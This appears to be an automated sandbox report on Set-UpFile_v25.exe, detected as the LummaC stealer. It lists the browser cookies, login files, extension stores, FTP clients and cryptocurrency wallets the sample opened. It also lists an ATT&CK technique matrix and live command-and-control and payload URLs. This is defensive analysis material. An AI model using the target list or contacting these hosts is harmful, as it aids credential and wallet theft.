Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior

Source: Yara match

File source: Process Memory Space: Set-UpFile_v25.exe PID: 7272, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Set-UpFile_v25.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	221 Virtualization/Sandbox Evasion	2 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	221 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	32 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://klipvumisui.shop/int_clp_sha.txt%	100%	Avira URL Cloud	malware
https://beattalkerz.cyou/apila	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/F	0%	Avira URL Cloud	safe
https://beattalkerz.cyou:443/api	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/api	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/api0	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txtf1R=	100%	Avira URL Cloud	malware
https://klipvumisui.shop:443/int_clp_sha.txt	100%	Avira URL Cloud	malware
https://beattalkerz.cyou/apibu	0%	Avira URL Cloud	safe
https://beattalkerz.cyorT	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/4I	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/apijh	0%	Avira URL Cloud	safe
beattalkerz.cyou	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/apiF9	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txtcoded	100%	Avira URL Cloud	malware
https://beattalkerz.cyou/apilMQ-$	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/apizp	0%	Avira URL Cloud	safe
https://dfgh.online/invoker.php?compName=user-PCx	100%	Avira URL Cloud	malware
https://beattalkerz.cyou/api9bf$	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txt.3	100%	Avira URL Cloud	malware
https://beattalkerz.cyou/apic	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/y	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/apis	0%	Avira URL Cloud	safe
https://beattalkerz.cyou/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
beattalkerz.cyou	104.21.25.52	true	true	unknown
dfgh.online	unknown	unknown	false	high
klipvumisui.shop	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://beattalkerz.cyou/api	true	Avira URL Cloud: safe	unknown
rabidcowse.shop	false		high
wholersorie.shop	false		high
beattalkerz.cyou	true	Avira URL Cloud: safe	unknown
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://cegu.shop/8574262446/ph.txt	false		high
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou:443/api	Set-UpFile_v25.exe, 00000000.00000003.1908751924.0000000000889000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1907710395.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000888000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000002.1962678644.000000000088B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop:443/int_clp_sha.txt	Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/	Set-UpFile_v25.exe, 00000000.00000002.1966453532.0000000003683000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/F	Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1920128987.00000000008AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000004.00000002.1971280536.0000000004761000.00000004.00000800.00020000.00000000.sdmp	false		high
